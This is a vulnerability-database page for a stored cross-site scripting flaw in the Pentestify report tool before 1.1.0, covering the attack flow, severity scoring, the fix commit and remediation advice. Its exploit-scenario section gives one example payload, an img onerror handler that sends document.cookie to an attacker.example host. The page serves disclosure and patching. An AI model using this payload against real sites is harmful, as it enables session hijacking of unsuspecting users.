Skip to main content

Pentestify EUVDEUVD-2026-45947

| CVE-2026-59238 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-20 Secur0 GHSA-hpcr-c79h-7cww
6.9
CVSS 4.0 · Vendor: Secur0
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate to Pentestify instance
  2. Delivery
    Inject XSS payload into finding images or report client_logo array
  3. Exploit
    Payload persists in database
  4. Execution
    Victim opens affected report in browser
  5. Persist
    Unsanitized value interpolated into img src by render function
  6. Impact
    Arbitrary JavaScript executes in victim's authenticated session

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must hold a valid authenticated account within the Pentestify instance with permission to create or modify findings (images array) or reports (client_logo array) - unauthenticated exploitation is not possible. A second user (the victim) must subsequently open and render the affected report in their browser; exploitation does not occur server-side. No special non-default configuration is required: any standard Pentestify 1.0.0 deployment is vulnerable as long as the attacker can submit data and the victim can view reports. Exploitation is limited by: (1) the requirement for attacker authentication, (2) the need for a victim to navigate to the infected report, and (3) the narrow deployment context of a team-internal pentesting tool where accounts are typically controlled.

Impact

The provided CVSS 4.0 vector (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N) conflicts materially with the CVE description, which states the attacker must be authenticated and that execution occurs when another user views the report - both PR:N and UI:N are inconsistent with these conditions. This discrepancy should be verified with the vendor or NVD before using the supplied score for prioritization. Assessed independently: exploitation requires at minimum a low-privileged authenticated account (e.g., an analyst who can submit findings) and passive user interaction from the victim (opening a report), which reduces realistic risk compared to a fully unauthenticated, zero-interaction flaw. There is no EPSS score available in the provided data and no CISA KEV listing, meaning there is no intelligence signal of active or opportunistic exploitation. Real-world risk is further bounded by Pentestify's narrow deployment footprint - it is a niche tool used by small penetration testing teams - limiting the population of both attackers with valid credentials and potential victims. The stored nature of the payload is the most dangerous characteristic: a single injection in a widely-shared report template could silently harvest session tokens from every team member who reviews it.

Exploit ScenarioDerived

An authenticated attacker with access to submit or edit a penetration testing finding sets the images field to a crafted value such as "><img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)> instead of a legitimate base64 data URI. When any team member or report reviewer opens the affected report, Pentestify's renderEditor or renderPreview function interpolates the unsanitized value into an img src attribute, the browser processes the injected markup, and the attacker's JavaScript executes in the victim's authenticated session - enabling session token theft, credential harvesting, or further actions on behalf of the victim. No public exploit code has been identified for this vulnerability.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 20, 2026

Stored cross-site scripting in maalfer Pentestify before 1.1.0 allows an authenticated attacker to inject arbitrary JavaScript that executes in the browser of every user who views an affected report. The payload is stored in a finding's images array or a report's client_logo array and interpolated directly into HTML img src attributes by the client-side rendering functions renderPreview, renderEditor, and renderAuditData in js/app.js without HTML escaping. No public exploit has been identified and this vulnerability is not listed in CISA KEV; however, the stored nature means a single injection persists and fires for all future viewers of the affected report until the application is patched.

RemediationAI

Upgrade to Pentestify 1.1.0, which is the vendor-confirmed fix version per commit a058a22b42c6311895622645265df79a60265b1d at https://github.com/maalfer/pentestify/commit/a058a22b42c6311895622645265df79a60265b1d. The fix hardens both the storage layer (backend Pydantic validators now reject any image value that is not a valid base64 data URI) and the rendering layer (escapeHTML() is applied to all img src interpolations in js/app.js). Notably, the import_database endpoint also received a post-import sanitization pass, meaning databases imported from pre-1.1.0 instances will be cleaned on import. If immediate upgrade is not possible, a compensating control is to restrict write access to findings and reports to only fully trusted, internally vetted accounts, since the attacker must be authenticated to store the payload - this reduces but does not eliminate the attack surface and introduces an operational trade-off by limiting collaborative reporting workflows. Reviewing all existing findings and reports for suspicious non-data-URI strings in the images and client_logo columns prior to upgrade is also advisable.

Affected VersionsENISA

Pentestify 0 <1.1.0

Affected Packages

euvd pentestify fix: 1.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Pentestify (CPE: cpe:2.3:a:maalfer:pentestify:*:*:*:*:*:*:*:*) is a web-based penetration testing report management tool built on a Python/FastAPI backend and a JavaScript frontend. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically the stored variant, where attacker-controlled strings are persisted to a database and later rendered without sanitization. The root cause is dual: the backend schemas.py accepted arbitrary string values in the images and client_logo JSON array columns without allowlisting, and the frontend js/app.js used ES6 template literals to interpolate those values directly into img src attributes - for example, the literal string <img src="${img}"> - with no call to escapeHTML() or equivalent. The fix (commit a058a22) addresses both layers: schemas.py now enforces a strict data URL regex (^data:image/[a-zA-Z0-9.+-]+;base64,[A-Za-z0-9+/=\s]+$) via Pydantic field validators, the import path in main.py runs a post-import sanitization pass over existing database rows, and the three render functions in js/app.js now wrap each interpolated value in escapeHTML().

Know when Pentestify gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Secur0) PRIMARY 6.9 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Storing the payload requires authenticated access (PR:L), a victim must open the report (UI:R), and XSS executes in the victim's browser context outside the application's security domain (S:C).

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (Secur0).

CVSS VectorVendor: Secur0

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Stored Cross-site Scripting (CWE-79) in the client-side report rendering functions (renderPreview, renderEditor, renderAuditData in js/app.js) in maalfer Pentestify before 1.1.0 allows a remote, authenticated attacker to execute arbitrary JavaScript in the browser of any user who views an affected report via a payload stored in a finding's images array or a report's client_logo array, which is interpolated into an <img> src attribute without escaping.

Threat Intelligence Overview

EPSS Score
0.3%
Top 75% exploitable
Prevalence
Low
niche pentesting report management tool, limited enterprise footprint
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy